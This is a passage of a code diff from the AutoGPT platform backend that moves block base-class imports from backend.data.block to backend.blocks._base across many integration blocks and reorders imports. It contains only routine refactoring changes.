 from pydantic import BaseModel, Field, JsonValue, SecretStr
 
-from backend.data.block import (
+from backend.blocks._base import (
     Block,
     BlockCategory,
     BlockOutput,

autogpt_platform/backend/backend/blocks/code_extraction_block.py

@@ -1,6 +1,6 @@
 import re
 
-from backend.data.block import (
+from backend.blocks._base import (
     Block,
     BlockCategory,
     BlockOutput,

autogpt_platform/backend/backend/blocks/codex.py

@@ -6,7 +6,7 @@ from openai import AsyncOpenAI
 from openai.types.responses import Response as OpenAIResponse
 from pydantic import SecretStr
 
-from backend.data.block import (
+from backend.blocks._base import (
     Block,
     BlockCategory,
     BlockOutput,

autogpt_platform/backend/backend/blocks/compass/triggers.py

@@ -1,6 +1,6 @@
 from pydantic import BaseModel
 
-from backend.data.block import (
+from backend.blocks._base import (
     Block,
     BlockCategory,
     BlockManualWebhookConfig,

autogpt_platform/backend/backend/blocks/count_words_and_char_block.py

@@ -1,4 +1,4 @@
-from backend.data.block import (
+from backend.blocks._base import (
     Block,
     BlockCategory,
     BlockOutput,

autogpt_platform/backend/backend/blocks/data_manipulation.py

@@ -1,6 +1,6 @@
 from typing import Any, List
 
-from backend.data.block import (
+from backend.blocks._base import (
     Block,
     BlockCategory,
     BlockOutput,

autogpt_platform/backend/backend/blocks/decoder_block.py

@@ -1,6 +1,6 @@
 import codecs
 
-from backend.data.block import (
+from backend.blocks._base import (
     Block,
     BlockCategory,
     BlockOutput,

autogpt_platform/backend/backend/blocks/discord/bot_blocks.py

@@ -8,7 +8,7 @@ from typing import Any, Literal, cast
 import discord
 from pydantic import SecretStr
 
-from backend.data.block import (
+from backend.blocks._base import (
     Block,
     BlockCategory,
     BlockOutput,

autogpt_platform/backend/backend/blocks/discord/oauth_blocks.py

@@ -2,7 +2,7 @@
 Discord OAuth-based blocks.
 """
 
-from backend.data.block import (
+from backend.blocks._base import (
     Block,
     BlockCategory,
     BlockOutput,

autogpt_platform/backend/backend/blocks/email_block.py

@@ -7,7 +7,7 @@ from typing import Literal
 
 from pydantic import BaseModel, ConfigDict, SecretStr
 
-from backend.data.block import (
+from backend.blocks._base import (
     Block,
     BlockCategory,
     BlockOutput,

autogpt_platform/backend/backend/blocks/encoder_block.py

@@ -2,7 +2,7 @@
 
 import codecs
 
-from backend.data.block import (
+from backend.blocks._base import (
     Block,
     BlockCategory,
     BlockOutput,

autogpt_platform/backend/backend/blocks/enrichlayer/linkedin.py

@@ -8,7 +8,7 @@ which provides access to LinkedIn profile data and related information.
 import logging
 from typing import Optional
 
-from backend.data.block import (
+from backend.blocks._base import (
     Block,
     BlockCategory,
     BlockOutput,

autogpt_platform/backend/backend/blocks/fal/ai_video_generator.py

@@ -3,6 +3,13 @@ import logging
 from enum import Enum
 from typing import Any
 
+from backend.blocks._base import (
+    Block,
+    BlockCategory,
+    BlockOutput,
+    BlockSchemaInput,
+    BlockSchemaOutput,
+)
 from backend.blocks.fal._auth import (
     TEST_CREDENTIALS,
     TEST_CREDENTIALS_INPUT,
@@ -10,13 +17,6 @@ from backend.blocks.fal._auth import (
     FalCredentialsField,
     FalCredentialsInput,
 )
-from backend.data.block import (
-    Block,
-    BlockCategory,
-    BlockOutput,
-    BlockSchemaInput,
-    BlockSchemaOutput,
-)
 from backend.data.execution import ExecutionContext
 from backend.data.model import SchemaField
 from backend.util.file import store_media_file

autogpt_platform/backend/backend/blocks/flux_kontext.py

@@ -5,7 +5,7 @@ from pydantic import SecretStr
 from replicate.client import Client as ReplicateClient
 from replicate.helpers import FileOutput
 
-from backend.data.block import (
+from backend.blocks._base import (
     Block,
     BlockCategory,
     BlockOutput,

autogpt_platform/backend/backend/blocks/github/checks.py

@@ -3,7 +3,7 @@ from typing import Optional
 
 from pydantic import BaseModel
 
-from backend.data.block import (
+from backend.blocks._base import (
     Block,
     BlockCategory,
     BlockOutput,

autogpt_platform/backend/backend/blocks/github/ci.py

@@ -5,7 +5,7 @@ from typing import Optional
 
 from typing_extensions import TypedDict
 
-from backend.data.block import (
+from backend.blocks._base import (
     Block,
     BlockCategory,
     BlockOutput,

autogpt_platform/backend/backend/blocks/github/issues.py

@@ -3,7 +3,7 @@ from urllib.parse import urlparse
 
 from typing_extensions import TypedDict
 
-from backend.data.block import (
+from backend.blocks._base import (
     Block,
     BlockCategory,
     BlockOutput,

autogpt_platform/backend/backend/blocks/github/pull_requests.py

@@ -2,7 +2,7 @@ import re
 
 from typing_extensions import TypedDict
 
-from backend.data.block import (
+from backend.blocks._base import (
     Block,
     BlockCategory,
     BlockOutput,

autogpt_platform/backend/backend/blocks/github/repo.py

@@ -2,7 +2,7 @@ import base64
 
 from typing_extensions import TypedDict
 
-from backend.data.block import (
+from backend.blocks._base import (
     Block,
     BlockCategory,
     BlockOutput,

autogpt_platform/backend/backend/blocks/github/reviews.py

@@ -4,7 +4,7 @@ from typing import Any, List, Optional
 
 from typing_extensions import TypedDict
 
-from backend.data.block import (
+from backend.blocks._base import (
     Block,
     BlockCategory,
     BlockOutput,

autogpt_platform/backend/backend/blocks/github/statuses.py

@@ -3,7 +3,7 @@ from typing import Optional
 
 from pydantic import BaseModel
 
-from backend.data.block import (
+from backend.blocks._base import (
     Block,
     BlockCategory,
     BlockOutput,

autogpt_platform/backend/backend/blocks/github/triggers.py

@@ -4,7 +4,7 @@ from pathlib import Path
 
 from pydantic import BaseModel
 
-from backend.data.block import (
+from backend.blocks._base import (
     Block,
     BlockCategory,
     BlockOutput,

autogpt_platform/backend/backend/blocks/google/calendar.py

@@ -8,7 +8,7 @@ from google.oauth2.credentials import Credentials
 from googleapiclient.discovery import build
 from pydantic import BaseModel
 
-from backend.data.block import (
+from backend.blocks._base import (
     Block,
     BlockCategory,
     BlockOutput,

autogpt_platform/backend/backend/blocks/google/docs.py

@@ -7,14 +7,14 @@ from google.oauth2.credentials import Credentials
 from googleapiclient.discovery import build
 from gravitas_md2gdocs import to_requests
 
-from backend.blocks.google._drive import GoogleDriveFile, GoogleDriveFileField
+from backend.blocks._base import (
-from backend.data.block import (
     Block,
     BlockCategory,
     BlockOutput,
     BlockSchemaInput,
     BlockSchemaOutput,
 )
+from backend.blocks.google._drive import GoogleDriveFile, GoogleDriveFileField
 from backend.data.model import SchemaField
 from backend.util.settings import Settings
 

autogpt_platform/backend/backend/blocks/google/gmail.py

@@ -14,7 +14,7 @@ from google.oauth2.credentials import Credentials
 from googleapiclient.discovery import build
 from pydantic import BaseModel, Field
 
-from backend.data.block import (
+from backend.blocks._base import (
     Block,
     BlockCategory,
     BlockOutput,

autogpt_platform/backend/backend/blocks/google/sheets.py

@@ -7,14 +7,14 @@ from enum import Enum
 from google.oauth2.credentials import Credentials
 from googleapiclient.discovery import build
 
-from backend.blocks.google._drive import GoogleDriveFile, GoogleDriveFileField
+from backend.blocks._base import (
-from backend.data.block import (
     Block,
     BlockCategory,
     BlockOutput,
     BlockSchemaInput,
     BlockSchemaOutput,
 )
+from backend.blocks.google._drive import GoogleDriveFile, GoogleDriveFileField
 from backend.data.model import SchemaField
 from backend.util.settings import Settings
 

autogpt_platform/backend/backend/blocks/google_maps.py

@@ -3,7 +3,7 @@ from typing import Literal
 import googlemaps
 from pydantic import BaseModel, SecretStr
 
-from backend.data.block import (
+from backend.blocks._base import (
     Block,
     BlockCategory,
     BlockOutput,

autogpt_platform/backend/backend/blocks/helpers/review.py

@@ -9,9 +9,7 @@ from typing import Any, Optional
 from prisma.enums import ReviewStatus
 from pydantic import BaseModel
 
-from backend.data.execution import ExecutionStatus
 from backend.data.human_review import ReviewResult
-from backend.executor.manager import async_update_node_execution_status
 from backend.util.clients import get_database_manager_async_client
 
 logger = logging.getLogger(__name__)
@@ -43,6 +41,8 @@ class HITLReviewHelper:
     @staticmethod
     async def update_node_execution_status(**kwargs) -> None:
         """Update the execution status of a node."""
+        from backend.executor.manager import async_update_node_execution_status
+
         await async_update_node_execution_status(
             db_client=get_database_manager_async_client(), **kwargs
         )
@@ -88,12 +88,13 @@ class HITLReviewHelper:
         Raises:
             Exception: If review creation or status update fails
         """
+        from backend.data.execution import ExecutionStatus
+
         # Note: Safe mode checks (human_in_the_loop_safe_mode, sensitive_action_safe_mode)
         # are handled by the caller:
         # - HITL blocks check human_in_the_loop_safe_mode in their run() method
         # - Sensitive action blocks check sensitive_action_safe_mode in is_block_exec_need_review()
         # This function only handles checking for existing approvals.
-
         # Check if this node has already been approved (normal or auto-approval)
         if approval_result := await HITLReviewHelper.check_approval(
             node_exec_id=node_exec_id,

autogpt_platform/backend/backend/blocks/http.py

@@ -8,7 +8,7 @@ from typing import Literal
 import aiofiles
 from pydantic import SecretStr
 
-from backend.data.block import (
+from backend.blocks._base import (
     Block,
     BlockCategory,
     BlockOutput,

autogpt_platform/backend/backend/blocks/hubspot/company.py

@@ -1,15 +1,15 @@
-from backend.blocks.hubspot._auth import (
+from backend.blocks._base import (
-    HubSpotCredentials,
-    HubSpotCredentialsField,
-    HubSpotCredentialsInput,
-)
-from backend.data.block import (
     Block,
     BlockCategory,
     BlockOutput,
     BlockSchemaInput,
     BlockSchemaOutput,
 )
+from backend.blocks.hubspot._auth import (
+    HubSpotCredentials,
+    HubSpotCredentialsField,
+    HubSpotCredentialsInput,
+)
 from backend.data.model import SchemaField
 from backend.util.request import Requests
 

autogpt_platform/backend/backend/blocks/hubspot/contact.py

@@ -1,15 +1,15 @@
-from backend.blocks.hubspot._auth import (
+from backend.blocks._base import (
-    HubSpotCredentials,
-    HubSpotCredentialsField,
-    HubSpotCredentialsInput,
-)
-from backend.data.block import (
     Block,
     BlockCategory,
     BlockOutput,
     BlockSchemaInput,
     BlockSchemaOutput,
 )
+from backend.blocks.hubspot._auth import (
+    HubSpotCredentials,
+    HubSpotCredentialsField,
+    HubSpotCredentialsInput,
+)
 from backend.data.model import SchemaField
 from backend.util.request import Requests
 

autogpt_platform/backend/backend/blocks/hubspot/engagement.py

@@ -1,17 +1,17 @@
 from datetime import datetime, timedelta
 
-from backend.blocks.hubspot._auth import (
+from backend.blocks._base import (
-    HubSpotCredentials,
-    HubSpotCredentialsField,
-    HubSpotCredentialsInput,
-)
-from backend.data.block import (
     Block,
     BlockCategory,
     BlockOutput,
     BlockSchemaInput,
     BlockSchemaOutput,
 )
+from backend.blocks.hubspot._auth import (
+    HubSpotCredentials,
+    HubSpotCredentialsField,
+    HubSpotCredentialsInput,
+)
 from backend.data.model import SchemaField
 from backend.util.request import Requests
 

autogpt_platform/backend/backend/blocks/human_in_the_loop.py

@@ -3,8 +3,7 @@ from typing import Any
 
 from prisma.enums import ReviewStatus
 
-from backend.blocks.helpers.review import HITLReviewHelper
+from backend.blocks._base import (
-from backend.data.block import (
     Block,
     BlockCategory,
     BlockOutput,
@@ -12,6 +11,7 @@ from backend.data.block import (
     BlockSchemaOutput,
     BlockType,
 )
+from backend.blocks.helpers.review import HITLReviewHelper
 from backend.data.execution import ExecutionContext
 from backend.data.human_review import ReviewResult
 from backend.data.model import SchemaField

autogpt_platform/backend/backend/blocks/ideogram.py

@@ -3,7 +3,7 @@ from typing import Any, Dict, Literal, Optional
 
 from pydantic import SecretStr
 
-from backend.data.block import (
+from backend.blocks._base import (
     Block,
     BlockCategory,
     BlockOutput,

autogpt_platform/backend/backend/blocks/io.py

@@ -2,9 +2,7 @@ import copy
 from datetime import date, time
 from typing import Any, Optional
 
-# Import for Google Drive file input block
+from backend.blocks._base import (
-from backend.blocks.google._drive import AttachmentView, GoogleDriveFile
-from backend.data.block import (
     Block,
     BlockCategory,
     BlockOutput,
@@ -12,6 +10,9 @@ from backend.data.block import (
     BlockSchemaInput,
     BlockType,
 )
+
+# Import for Google Drive file input block
+from backend.blocks.google._drive import AttachmentView, GoogleDriveFile
 from backend.data.execution import ExecutionContext
 from backend.data.model import SchemaField
 from backend.util.file import store_media_file

autogpt_platform/backend/backend/blocks/iteration.py

@@ -1,6 +1,6 @@
 from typing import Any
 
-from backend.data.block import (
+from backend.blocks._base import (
     Block,
     BlockCategory,
     BlockOutput,

autogpt_platform/backend/backend/blocks/jina/chunking.py

@@ -1,15 +1,15 @@
-from backend.blocks.jina._auth import (
+from backend.blocks._base import (
-    JinaCredentials,
-    JinaCredentialsField,
-    JinaCredentialsInput,
-)
-from backend.data.block import (
     Block,
     BlockCategory,
     BlockOutput,
     BlockSchemaInput,
     BlockSchemaOutput,
 )
+from backend.blocks.jina._auth import (
+    JinaCredentials,
+    JinaCredentialsField,
+    JinaCredentialsInput,
+)
 from backend.data.model import SchemaField
 from backend.util.request import Requests
 

autogpt_platform/backend/backend/blocks/jina/embeddings.py

@@ -1,15 +1,15 @@
-from backend.blocks.jina._auth import (
+from backend.blocks._base import (
-    JinaCredentials,
-    JinaCredentialsField,
-    JinaCredentialsInput,
-)
-from backend.data.block import (
     Block,
     BlockCategory,
     BlockOutput,
     BlockSchemaInput,
     BlockSchemaOutput,
 )
+from backend.blocks.jina._auth import (
+    JinaCredentials,
+    JinaCredentialsField,
+    JinaCredentialsInput,
+)
 from backend.data.model import SchemaField
 from backend.util.request import Requests
 

autogpt_platform/backend/backend/blocks/jina/fact_checker.py

@@ -3,18 +3,18 @@ from urllib.parse import quote
 
 from typing_extensions import TypedDict
 
-from backend.blocks.jina._auth import (
+from backend.blocks._base import (
-    JinaCredentials,
-    JinaCredentialsField,
-    JinaCredentialsInput,
-)
-from backend.data.block import (
     Block,
     BlockCategory,
     BlockOutput,
     BlockSchemaInput,
     BlockSchemaOutput,
 )
+from backend.blocks.jina._auth import (
+    JinaCredentials,
+    JinaCredentialsField,
+    JinaCredentialsInput,
+)
 from backend.data.model import SchemaField
 from backend.util.request import Requests
 

autogpt_platform/backend/backend/blocks/jina/search.py

@@ -1,5 +1,12 @@
 from urllib.parse import quote
 
+from backend.blocks._base import (
+    Block,
+    BlockCategory,
+    BlockOutput,
+    BlockSchemaInput,
+    BlockSchemaOutput,
+)
 from backend.blocks.jina._auth import (
     TEST_CREDENTIALS,
     TEST_CREDENTIALS_INPUT,
@@ -8,13 +15,6 @@ from backend.blocks.jina._auth import (
     JinaCredentialsInput,
 )
 from backend.blocks.search import GetRequest
-from backend.data.block import (
-    Block,
-    BlockCategory,
-    BlockOutput,
-    BlockSchemaInput,
-    BlockSchemaOutput,
-)
 from backend.data.model import SchemaField
 from backend.util.exceptions import BlockExecutionError
 

autogpt_platform/backend/backend/blocks/llm.py

@@ -15,7 +15,7 @@ from anthropic.types import ToolParam
 from groq import AsyncGroq
 from pydantic import BaseModel, SecretStr
 
-from backend.data.block import (
+from backend.blocks._base import (
     Block,
     BlockCategory,
     BlockOutput,

autogpt_platform/backend/backend/blocks/maths.py

@@ -2,7 +2,7 @@ import operator
 from enum import Enum
 from typing import Any
 
-from backend.data.block import (
+from backend.blocks._base import (
     Block,
     BlockCategory,
     BlockOutput,

autogpt_platform/backend/backend/blocks/medium.py

@@ -3,7 +3,7 @@ from typing import List, Literal
 
 from pydantic import SecretStr
 
-from backend.data.block import (
+from backend.blocks._base import (
     Block,
     BlockCategory,
     BlockOutput,

autogpt_platform/backend/backend/blocks/mem0.py

@@ -3,7 +3,7 @@ from typing import Any, Literal, Optional, Union
 from mem0 import MemoryClient
 from pydantic import BaseModel, SecretStr
 
-from backend.data.block import Block, BlockOutput, BlockSchemaInput, BlockSchemaOutput
+from backend.blocks._base import Block, BlockOutput, BlockSchemaInput, BlockSchemaOutput
 from backend.data.model import (
     APIKeyCredentials,
     CredentialsField,

autogpt_platform/backend/backend/blocks/notion/create_page.py

@@ -4,7 +4,7 @@ from typing import Any, Dict, List, Optional
 
 from pydantic import model_validator
 
-from backend.data.block import (
+from backend.blocks._base import (
     Block,
     BlockCategory,
     BlockOutput,

autogpt_platform/backend/backend/blocks/notion/read_database.py

@@ -2,7 +2,7 @@ from __future__ import annotations
 
 from typing import Any, Dict, List, Optional
 
-from backend.data.block import (
+from backend.blocks._base import (
     Block,
     BlockCategory,
     BlockOutput,

autogpt_platform/backend/backend/blocks/notion/read_page.py

@@ -1,6 +1,6 @@
 from __future__ import annotations
 
-from backend.data.block import (
+from backend.blocks._base import (
     Block,
     BlockCategory,
     BlockOutput,

autogpt_platform/backend/backend/blocks/notion/read_page_markdown.py

@@ -1,6 +1,6 @@
 from __future__ import annotations
 
-from backend.data.block import (
+from backend.blocks._base import (
     Block,
     BlockCategory,
     BlockOutput,

autogpt_platform/backend/backend/blocks/notion/search.py

@@ -4,7 +4,7 @@ from typing import List, Optional
 
 from pydantic import BaseModel
 
-from backend.data.block import (
+from backend.blocks._base import (
     Block,
     BlockCategory,
     BlockOutput,

autogpt_platform/backend/backend/blocks/nvidia/deepfake.py

@@ -1,15 +1,15 @@
-from backend.blocks.nvidia._auth import (
+from backend.blocks._base import (
-    NvidiaCredentials,
-    NvidiaCredentialsField,
-    NvidiaCredentialsInput,
-)
-from backend.data.block import (
     Block,
     BlockCategory,
     BlockOutput,
     BlockSchemaInput,
     BlockSchemaOutput,
 )
+from backend.blocks.nvidia._auth import (
+    NvidiaCredentials,
+    NvidiaCredentialsField,
+    NvidiaCredentialsInput,
+)
 from backend.data.model import SchemaField
 from backend.util.request import Requests
 from backend.util.type import MediaFileType